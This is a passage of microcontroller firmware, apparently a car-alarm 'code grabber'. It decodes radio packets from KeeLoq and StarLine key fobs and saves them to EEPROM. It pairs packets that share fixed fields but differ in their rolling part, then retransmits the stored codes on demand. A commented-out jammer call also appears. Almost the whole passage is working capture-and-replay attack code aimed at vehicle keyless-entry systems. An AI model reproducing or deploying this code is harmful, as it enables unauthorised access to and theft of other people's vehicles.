codan1 = codan1 + String(EEPROM.read(4), HEX);
codan1 = codan1 + String(EEPROM.read(5), HEX);
codan1 = codan1 + String(EEPROM.read(6), HEX);
codan1 = codan1 + "-fix-";
codan1 = codan1 + String(EEPROM.read(7), HEX);
codan1 = codan1 + "-btn-";
codan1 = codan1 + String(EEPROM.read(8), HEX);
EEPROM.commit();
EEPROM.end();
}
if (k >= 2) {
EEPROM.begin(3512);
EEPROM.write(9, keelog_code[4]); ///fix1bit
EEPROM.write(19, keelog_code[0]); //hop 1bit
EEPROM.write(41, keelog_code[5]); //fix5
EEPROM.write(43, keelog_code[6]); //fix6
EEPROM.write(42, keelog_code[1]); //hop 2bit
EEPROM.commit();
EEPROM.end();
EEPROM.begin(3512);
int hugaK = EEPROM.read(9);//sravnenie bitovfix-- 1bit(4)
int hugaopK = EEPROM.read(4);//sravnenie bitovfix 1bit (4)
int tashigipidr = EEPROM.read(6);///fix6
int tashigipidr2 = EEPROM.read(43);/////fix6
int hugazioK = EEPROM.read(5);//fix5
int hugazioKk = EEPROM.read(41);//fix5
int hugazioopKch = EEPROM.read(0);//1bit 1 pak
int hugaKopzzch = EEPROM.read(19);
int hugazioKoip = EEPROM.read(1);//первый бит
int hugazioKoiip = EEPROM.read(42);
int hugazioKkz = EEPROM.read(5);//fix5
int hugazioKkkz = EEPROM.read(15);//fix5
int tashigi = EEPROM.read(6);//fix5
int tashigi2 = EEPROM.read(16);//fix5
int tashigi3 = EEPROM.read(4);//fix5
int tashigi4 = EEPROM.read(14);//fix5
if (hugaK != hugaopK && hugazioK != hugazioKk && tashigipidr != tashigipidr2) {
k = 0;
}
if (hugaK == hugaopK && hugazioK == hugazioKk && tashigipidr == tashigipidr2 && hugazioopKch != hugaKopzzch) ///////////////hop srav&&hugazioKoiip!=hugazioKoip &&hugaKop!=hugazioopK
{
EEPROM.begin(3512);
EEPROM.write(10, keelog_code[0]);
EEPROM.write(11, keelog_code[1]);
EEPROM.write(12, keelog_code[2]);
EEPROM.write(13, keelog_code[3]);
EEPROM.write(14, keelog_code[4]);
EEPROM.write(15, keelog_code[5]);
EEPROM.write(16, keelog_code[6]);
EEPROM.write(17, keelog_code[7]);
EEPROM.write(18, keelog_code[8]);
EEPROM.commit();
EEPROM.end();
k = 0;
codan2 = "";
////stoppriem = 0;
int zilk = 0;
for (int i = 10; i < 19; i++) {
EEPROM.begin(3512);
hugazk[zilk] = EEPROM.read(i);
codan2 = codan2 + String(hugazk[zilk], HEX);
/// display.print(hugazk[zilk],HEX);
/// delay(3);
/// display.display();
zilk++;
}
}
if (hugazioKkz == hugazioKkkz && tashigi == tashigi2 && tashigi3 == tashigi4) {
}
}
EEPROM.begin(3512);
keelog_codePAK2[0] = EEPROM.read(10);
keelog_codePAK2[1] = EEPROM.read(11);
keelog_codePAK2[2] = EEPROM.read(12);
keelog_codePAK2[3] = EEPROM.read(13);
keelog_codePAK2[4] = EEPROM.read(14);
keelog_codePAK2[5] = EEPROM.read(15);
keelog_codePAK2[6] = EEPROM.read(16);
keelog_codePAK2[7] = EEPROM.read(17);
keelog_codePAK2[8] = EEPROM.read(18);
EEPROM.commit();
EEPROM.end();
EEPROM.begin(3512);
keelog_codePAK1[0] = EEPROM.read(0);
keelog_codePAK1[1] = EEPROM.read(1);
keelog_codePAK1[2] = EEPROM.read(2);
keelog_codePAK1[3] = EEPROM.read(3);
keelog_codePAK1[4] = EEPROM.read(4);
keelog_codePAK1[5] = EEPROM.read(5);
keelog_codePAK1[6] = EEPROM.read(6);
keelog_codePAK1[7] = EEPROM.read(7);
keelog_codePAK1[8] = EEPROM.read(8);
EEPROM.commit();
EEPROM.end();
}
void keelog_send(byte* keelog_code) {
Serial.println("- sending keelog -");
for (int i = 0; i < 9; i++) {
Serial.print(keelog_code[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(keelog_code[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(keelog_code[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
//pak2
void keelog_sendPAK2(byte* keelog_codePAK2) {
Serial.println("- sending keelog -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(keelog_codePAK2[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(keelog_codePAK2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(keelog_codePAK2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
void keelog_get() {
bValidPacket = false;
if (keelog_state == 0) { //ждем преамбулу и хедер
if (difTime > 280 && difTime < 620 && lastRxValue != tempRxValue) {
keelogCounter ++;
}
else {
if (keelogCounter == 23) {
if (difTime > 2800 && difTime < 6200 && lastRxValue == 0) {
keelog_state = 1;
}
}
keelogCounter = 0;
}
}
else if (keelog_state == 1) { // получаем биты
if (difTime > 560 && difTime < 1240 && lastRxValue == 1) { // получили 1
if (decodeMethod == 0) {
keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B10000000;
}
else {
keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000000;
}
bValidPacket = true;
}
else if (difTime > 280 && difTime < 620 && lastRxValue == 1) {
if (decodeMethod == 0) {
keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] >> 1) | B00000000;
}
else {
keelog_code[round(keelogCounter / 8)] = (keelog_code[round(keelogCounter / 8)] << 1) | B00000001;
}
bValidPacket = true;
}
else if (lastRxValue == 0) {
}
else {
keelog_state = 1;
keelogCounter = 0;
}
if (bValidPacket) {
keelogCounter++;
if (keelogCounter == 66) {
keelog_vardump();
keelogCounter = 0;
keelog_state = 0;
/////// glushilka();
}
}
}
}
//keelog end
///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz
//statline pomba
void starline_vardump() {
if (decodeMethod == 0) {
Serial.println(" - starline origin - ");
}
else {
Serial.println(" - starline invert - ");
}
Serial.print(starline_code[0], HEX);
Serial.print(starline_code[1], HEX);
Serial.print(starline_code[2], HEX);
Serial.print(starline_code[3], HEX);
Serial.println("-hop");
Serial.print(starline_code[4], HEX);
Serial.print(starline_code[5], HEX);
Serial.print(starline_code[6], HEX);
Serial.println("-fix");
Serial.print(starline_code[7], HEX);
Serial.println("-btn");
Serial.print(starline_code[8], HEX);
Serial.println("-dop");
///proda vibrosaaaaaaaaaaaaaaaa
priem = "333";
///proda vibrosaaaaaaaaaaaaaaaa
codan = "code starline:" + String(starline_code[0], HEX);
codan = codan + String(starline_code[1], HEX);
codan = codan + String(starline_code[2], HEX);
codan = codan + String(starline_code[3], HEX);
codan = codan + "-hop-";
codan = codan + String(starline_code[4], HEX);
codan = codan + String(starline_code[5], HEX);
codan = codan + String(starline_code[6], HEX);
codan = codan + "-fix-";
codan = codan + String(starline_code[7], HEX);
codan = codan + "-btn-";
codan = codan + String(starline_code[8], HEX);
Serial.println(codan);
smena = 1;
//////////////////////////////sravnivanie
codes();
//eprom
// EEPROM.begin(3512);
if (kk < 2) {
EEPROM.begin(3512);
EEPROM.write(20, starline_code[0]);
EEPROM.write(21, starline_code[1]);
EEPROM.write(22, starline_code[2]);
EEPROM.write(23, starline_code[3]);
EEPROM.write(24, starline_code[4]);
EEPROM.write(25, starline_code[5]);
EEPROM.write(26, starline_code[6]);
EEPROM.write(27, starline_code[7]);
EEPROM.write(28, starline_code[8]);
EEPROM.commit();
EEPROM.end();
kk = 2;
EEPROM.begin(3512);
codan1 = "code starline:" + String(EEPROM.read(20), HEX);
codan1 = codan1 + String(EEPROM.read(21), HEX);
codan1 = codan1 + String(EEPROM.read(22), HEX);
codan1 = codan1 + String(EEPROM.read(23), HEX);
codan1 = codan1 + "-hop-";
codan1 = codan1 + String(EEPROM.read(24), HEX);
codan1 = codan1 + String(EEPROM.read(25), HEX);
codan1 = codan1 + String(EEPROM.read(26), HEX);
codan1 = codan1 + "-fix-";
codan1 = codan1 + String(EEPROM.read(27), HEX);
codan1 = codan1 + "-btn-";
codan1 = codan1 + String(EEPROM.read(28), HEX);
EEPROM.commit();
EEPROM.end();
}
if (kk >= 2) {
EEPROM.begin(3512);
EEPROM.write(129, starline_code[0]); ////gop 3
// Serial.println("-Srab");
///////////////////////////////////////////////zapis sverki fix
EEPROM.write(104, starline_code[4]);
EEPROM.write(105, starline_code[5]);
EEPROM.write(106, starline_code[6]);
EEPROM.write(100, starline_code[0]);
EEPROM.commit();
EEPROM.end();
EEPROM.begin(3512);
int hugaS = EEPROM.read(25);//sravnenie bitov-FIX-5
int hugazioS = EEPROM.read(105);//bitov-FIX-5
int hugaopS = EEPROM.read(24);//sravnenie bitovbitov-FIX-4
int hugazioopS = EEPROM.read(104);//bitov-FIX-4
int hugaopSA = EEPROM.read(26);//sbitov-FIX-6
int hugazioopSA = EEPROM.read(106);//bitov-FIX-6
int hugaS1bit = EEPROM.read(129);//sravnenie gop 3
int hugazioS1bit = EEPROM.read(20);//gop 3
// int huga = EEPROM.read(0);//sravnenie bitov
// int hugazio = starline_code[0];//
int zyS = 29;
if (hugaS == hugazioS && hugaopS == hugazioopS && hugaopSA == hugazioopSA && hugaS1bit != hugazioS1bit) //////////////&&hugaS1bit!=hugazioS1bit//////&&hugaS1bit!=hugazioS1bit hop srav
{
EEPROM.begin(3512);
EEPROM.write(30, starline_code[0]);
EEPROM.write(31, starline_code[1]);
EEPROM.write(32, starline_code[2]);
EEPROM.write(33, starline_code[3]);
EEPROM.write(34, starline_code[4]);
EEPROM.write(35, starline_code[5]);
EEPROM.write(36, starline_code[6]);
EEPROM.write(37, starline_code[7]);
EEPROM.write(38, starline_code[8]);
EEPROM.commit();
EEPROM.end();
kk = 0;
int zil = 0;
codan2 = "";
///// stoppriem = 0;
for (int i = 30; i < 39; i++) {
EEPROM.begin(3512);
hugaz[zil] = EEPROM.read(i);
codan2 = codan2 + String(hugaz[zil], HEX);
///display.print(hugaz[zil],HEX);
/// delay(3);
//// display.display();
zil++;
}
}//proverennaya
int hugazioS1bit30 = EEPROM.read(30);
if (hugaS == hugazioS && hugaopS == hugazioopS && hugaopSA == hugazioopSA && hugaS1bit == hugazioS1bit30) {
kk = 0;
}
if (hugaS != hugazioS && hugaopS != hugazioopS && hugaopSA != hugazioopSA) {
kk = 0;
}
}
//srav fixEEPROM.begin(3512);
EEPROM.begin(3512);
int huga4S = EEPROM.read(24);
int huga44S = EEPROM.read(34);
int huga4Skop = EEPROM.read(25);
int huga44Skop = EEPROM.read(35);
if (huga4S == huga44S && huga44Skop == huga4Skop) {
/// display.println();
/// display.print("one pack sig");
/// delay(10);
/// display.display();
}
//pak2
// for(int li = 10; li<19; li++){
// int i=0;
// keelog_codePAK2[i]=EEPROM.read(li);
// Serial.print(keelog_codePAK2[i],HEX);
// delay(100);
// i++;
// Serial.print(keelog_codePAK2[i],HEX);
// }
EEPROM.begin(3512);
starline_codePAK2[0] = EEPROM.read(30);
starline_codePAK2[1] = EEPROM.read(31);
starline_codePAK2[2] = EEPROM.read(32);
starline_codePAK2[3] = EEPROM.read(33);
starline_codePAK2[4] = EEPROM.read(34);
starline_codePAK2[5] = EEPROM.read(35);
starline_codePAK2[6] = EEPROM.read(36);
starline_codePAK2[7] = EEPROM.read(37);
starline_codePAK2[8] = EEPROM.read(38);
//for(int i = 0; i<9; i++){
// Serial.println(starline_codePAK2[i],HEX);
// delay(100);
// }
// int huga =EEPROM.read(0);
// int huga1 =EEPROM.read(1);
// int huga2 =EEPROM.read(2);
// int huga3 =EEPROM.read(3);
// int huga4 =EEPROM.read(4);
// int huga5 =EEPROM.read(5);
// int huga6 =EEPROM.read(6);
// int huga7 =EEPROM.read(7);
// int huga8 =EEPROM.read(8);
// display.setTextColor(WHITE);
// display.setTextSize(1);
// display.print(huga,HEX);
// display.print(huga1,HEX);
// display.print(huga2,HEX);
// display.print(huga3,HEX);
// display.print(huga4,HEX);
// display.print(huga5,HEX);
// display.print(huga6,HEX);
// display.print(huga1,HEX);
// display.print(huga7,HEX);
// display.print(huga8,HEX);
// delay(100);
// display.display();
//Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт
//
/*for(int i = 0; i<9; i++){
Serial.print(starline_code[i], HEX);
Serial.print(" - ");
}*/
// starline_send(starline_code);
// digitalWrite(TX, HIGH);
// delay(100);
// digitalWrite(TX, LOW);
// starline_sendPAK2(starline_codePAK2);
// starline_state = 0;
// for(int i = 0; i<9; i++){
// starline_code[i]=0;
// }
}
void starline_send(byte* starline_code) {
Serial.println("- sending staray -");
for (int i = 0; i < 9; i++) {
Serial.print(starline_code[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу//13 srab
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(1000);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(starline_code[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(starline_code[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
//pak2
void starline_sendPAK2(byte* starline_codePAK2) {
Serial.println("- sending staraylayn -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(starline_codePAK2[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(400);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(starline_codePAK2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(starline_codePAK2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
void starline_get() {
bValidPacket = false;
if (starline_state == 0) { //ждем преамбулу и хедер
if (difTime2 > 900 && difTime2 < 1100 && lastRxValue == 1 ) {
starlineZpreambulaCounter ++;
}
if (starlineZpreambulaCounter == 6) {
starline_state = 1;
}
// else{
// starlineZCounter = 0;
// }
}
/////////////////////////////////////////////////////PREAMBULA STARA///////////////////////////////////////////////////////////////////////////
else if (starline_state == 1) { // получаем биты
if (difTime2 > 350 && difTime2 < 650 && lastRxValue == 1) { // получили 1
if (decodeMethod == 0) {
starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] >> 1) | B10000000;
}
else {
starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] << 1) | B00000000;
}
bValidPacket = true;
}
else if (difTime2 > 150 && difTime2 < 350 && lastRxValue == 1) {
if (decodeMethod == 0) {
starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] >> 1) | B00000000;
}
else {
starline_code[round(starlineZCounter / 8)] = (starline_code[round(starlineZCounter / 8)] << 1) | B00000001;
}
bValidPacket = true;
}
else if (lastRxValue == 0) {
}
else {
starline_state = 1;
starlineZCounter = 0;
}
if (bValidPacket) {
starlineZCounter++;
if (starlineZCounter == 64) { //64ili66
starline_vardump();
starlineZCounter = 0;
starline_state = 0;
starlineZpreambulaCounter = 0; /////////novshetch
starkk++; /////////shetchik
}
}
}
}
//stara end zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSSSSTTTTTARRRRRRRRRRRRZZZZZZZZZZZZZZZZzzzzzzzzzzzz
void startgrabber() {
tempRxValue = digitalRead(rxPin);
////digitalWrite(D2,digitalRead(rxPin));
if (tempRxValue != lastRxValue) {
tempTime = micros();
difTime = tempTime - lastRxTime;
difTime2 = tempTime - lastRxTime;
if (stopsigi == 1) {
keelog_get();
starline_get();
}
if (shlakoffpriem == 1) {
grabshlak();
}
//grab(tempTime - lastRxTime, lastRxValue);
lastRxTime = tempTime;
lastRxValue = tempRxValue;
}
}
//menu UUUUUUUUUUUUUUUUUUUMENUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
void posilkeeloq1() {
EEPROM.begin(3512);
keelog_codePAK1[0] = EEPROM.read(0);
keelog_codePAK1[1] = EEPROM.read(1);
keelog_codePAK1[2] = EEPROM.read(2);
keelog_codePAK1[3] = EEPROM.read(3);
keelog_codePAK1[4] = EEPROM.read(4);
keelog_codePAK1[5] = EEPROM.read(5);
keelog_codePAK1[6] = EEPROM.read(6);
keelog_codePAK1[7] = EEPROM.read(7);
keelog_codePAK1[8] = EEPROM.read(8);
keelog_send(keelog_codePAK1);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
sending = "code keqloq:" + String( keelog_codePAK1[0], HEX);
sending = sending + String( keelog_codePAK1[1], HEX);
sending = sending + String( keelog_codePAK1[2], HEX);
sending = sending + String( keelog_codePAK1[3], HEX);
sending = sending + String( keelog_codePAK1[4], HEX);
sending = sending + String( keelog_codePAK1[5], HEX);
sending = sending + String( keelog_codePAK1[6], HEX);
sending = sending + String( keelog_codePAK1[7], HEX);
sending = sending + String( keelog_codePAK1[8], HEX);
keelog_state = 0;
/// for(int i = 0; i<9; i++){
/// keelog_code[i]=0;}
//Serial.println("srabotalo-keeloq");
}
void posilkeeloq2() {
EEPROM.begin(3512);
keelog_codePAK2[0] = EEPROM.read(10);
keelog_codePAK2[1] = EEPROM.read(11);
keelog_codePAK2[2] = EEPROM.read(12);
keelog_codePAK2[3] = EEPROM.read(13);
keelog_codePAK2[4] = EEPROM.read(14);
keelog_codePAK2[5] = EEPROM.read(15);
keelog_codePAK2[6] = EEPROM.read(16);
keelog_codePAK2[7] = EEPROM.read(17);
keelog_codePAK2[8] = EEPROM.read(18);
sending = "code keqloq:" + String( keelog_codePAK2[0], HEX);
sending = sending + String(keelog_codePAK2[1], HEX);
sending = sending + String(keelog_codePAK2[2], HEX);
sending = sending + String(keelog_codePAK2[3], HEX);
sending = sending + String(keelog_codePAK2[4], HEX);
sending = sending + String(keelog_codePAK2[5], HEX);
sending = sending + String(keelog_codePAK2[6], HEX);
sending = sending + String(keelog_codePAK2[7], HEX);
sending = sending + String(keelog_codePAK2[8], HEX);
////codan=codan+String(starline_code[8],HEX);
keelog_sendPAK2(keelog_codePAK2);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
keelog_state = 0;
/// for(int i = 0; i<9; i++){
/// keelog_codePAK2[i]=0;}
}
void posilstarline1() {
EEPROM.begin(3512);
starline_codePAK1[0] = EEPROM.read(20);
starline_codePAK1[1] = EEPROM.read(21);
starline_codePAK1[2] = EEPROM.read(22);
starline_codePAK1[3] = EEPROM.read(23);
starline_codePAK1[4] = EEPROM.read(24);
starline_codePAK1[5] = EEPROM.read(25);
starline_codePAK1[6] = EEPROM.read(26);
starline_codePAK1[7] = EEPROM.read(27);
starline_codePAK1[8] = EEPROM.read(28);
sending = "code star_line:" + String( starline_codePAK1[0], HEX);
sending = sending + String( starline_codePAK1[1], HEX);
sending = sending + String( starline_codePAK1[2], HEX);
sending = sending + String( starline_codePAK1[3], HEX);
sending = sending + String( starline_codePAK1[4], HEX);
sending = sending + String( starline_codePAK1[5], HEX);
sending = sending + String( starline_codePAK1[6], HEX);
sending = sending + String( starline_codePAK1[7], HEX);
sending = sending + String( starline_codePAK1[8], HEX);
starline_send(starline_codePAK1);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
starline_state = 0;
// for(int i = 0; i<9; i++){
// starline_code[i]=0;
// }
/// Serial.println("srabotalo");
}
void posilstarline2() {
EEPROM.begin(3512);
starline_codePAK2[0] = EEPROM.read(30);
starline_codePAK2[1] = EEPROM.read(31);
starline_codePAK2[2] = EEPROM.read(32);
starline_codePAK2[3] = EEPROM.read(33);
starline_codePAK2[4] = EEPROM.read(34);
starline_codePAK2[5] = EEPROM.read(35);
starline_codePAK2[6] = EEPROM.read(36);
starline_codePAK2[7] = EEPROM.read(37);
starline_codePAK2[8] = EEPROM.read(38);
sending = "code star_line:" + String( starline_codePAK2[0], HEX);
sending = sending + String( starline_codePAK2[1], HEX);
sending = sending + String( starline_codePAK2[2], HEX);
sending = sending + String( starline_codePAK2[3], HEX);
sending = sending + String( starline_codePAK2[4], HEX);
sending = sending + String( starline_codePAK2[5], HEX);
sending = sending + String( starline_codePAK2[6], HEX);
sending = sending + String( starline_codePAK2[7], HEX);
sending = sending + String( starline_codePAK2[8], HEX);
starline_sendPAK2(starline_codePAK2);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
starline_state = 0;
// for(int i = 0; i<9; i++){
// starline_code[i]=0;
// }
}
void posilkeeloq1zapis() {
////////////////////schet paketov
k = 0;
kk = 0;
EEPROM.begin(3512);
keelog_codePAK1zapis[0] = EEPROM.read(50);
keelog_codePAK1zapis[1] = EEPROM.read(51);
keelog_codePAK1zapis[2] = EEPROM.read(52);
keelog_codePAK1zapis[3] = EEPROM.read(53);
keelog_codePAK1zapis[4] = EEPROM.read(54);
keelog_codePAK1zapis[5] = EEPROM.read(55);
keelog_codePAK1zapis[6] = EEPROM.read(56);
keelog_codePAK1zapis[7] = EEPROM.read(57);
keelog_codePAK1zapis[8] = EEPROM.read(58);
keelog_send(keelog_codePAK1zapis);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
keelog_state = 0;
// for(int i = 0; i<9; i++){
// keelog_code[i]=0;}
//Serial.println("srabotalo-keeloq");
}
void posilkeeloq2zapis() {
////////////////////schet paketov
k = 0;
kk = 0;
EEPROM.begin(3512);
keelog_codePAK2zapis[0] = EEPROM.read(60);
keelog_codePAK2zapis[1] = EEPROM.read(61);
keelog_codePAK2zapis[2] = EEPROM.read(62);
keelog_codePAK2zapis[3] = EEPROM.read(63);
keelog_codePAK2zapis[4] = EEPROM.read(64);
keelog_codePAK2zapis[5] = EEPROM.read(65);
keelog_codePAK2zapis[6] = EEPROM.read(66);
keelog_codePAK2zapis[7] = EEPROM.read(67);
keelog_codePAK2zapis[8] = EEPROM.read(68);
keelog_send(keelog_codePAK2zapis);
digitalWrite(TX, HIGH);
delay(100);
digitalWrite(TX, LOW);
keelog_state = 0;
// for(int i = 0; i<9; i++){
// keelog_code[i]=0;}
Serial.println("srabotalo-keeloq");
}
void posilstarline1zapis() {
////////////////////schet paketov
k = 0;
kk = 0;
EEPROM.begin(3512);
starline_codePAK1zapis[0] = EEPROM.read(80);
starline_codePAK1zapis[1] = EEPROM.read(81);
starline_codePAK1zapis[2] = EEPROM.read(82);
starline_codePAK1zapis[3] = EEPROM.read(83);
starline_codePAK1zapis[4] = EEPROM.read(84);
starline_codePAK1zapis[5] = EEPROM.read(85);
starline_codePAK1zapis[6] = EEPROM.read(86);
starline_codePAK1zapis[7] = EEPROM.read(87);
starline_codePAK1zapis[8] = EEPROM.read(88);
starline_sendPAK2(starline_codePAK1zapis);
// digitalWrite(TX, HIGH);
// delay(100);
// digitalWrite(TX, LOW);
starline_state = 0;
//for(int i = 0; i<9; i++){
// starline_code[i]=0;
// }
}
void posilstarline2zapis() {
////////////////////schet paketov
k = 0;
kk = 0;
EEPROM.begin(3512);
starline_codePAK2zapis[0] = EEPROM.read(70);
starline_codePAK2zapis[1] = EEPROM.read(71);
starline_codePAK2zapis[2] = EEPROM.read(72);
starline_codePAK2zapis[3] = EEPROM.read(73);
starline_codePAK2zapis[4] = EEPROM.read(74);
starline_codePAK2zapis[5] = EEPROM.read(75);
starline_codePAK2zapis[6] = EEPROM.read(76);
starline_codePAK2zapis[7] = EEPROM.read(77);
starline_codePAK2zapis[8] = EEPROM.read(78);
starline_sendPAK2(starline_codePAK2zapis);
starline_state = 0;
}
////////////////////////////////////WIIIIIIIIIIIFIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII///////////////////////////
void starline_sendPAK2zub1(byte* starline_codePAK1zapisSBTR) {
Serial.println("- sending staraylayn -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(starline_codePAK1zapisSBTR[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(400);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(starline_codePAK1zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(starline_codePAK1zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
void starline_sendPAK2zub2(byte* starline_codePAK2zapisSBTR) {
Serial.println("- sending staraylayn -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(starline_codePAK2zapisSBTR[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(400);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(starline_codePAK2zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(starline_codePAK2zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
void keelog_sendzibaruy(byte* keelog_codePAK1zapisSBTR) {
Serial.println("- sending keelog -");
for (int i = 0; i < 9; i++) {
Serial.print(keelog_codePAK1zapisSBTR[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(keelog_codePAK1zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
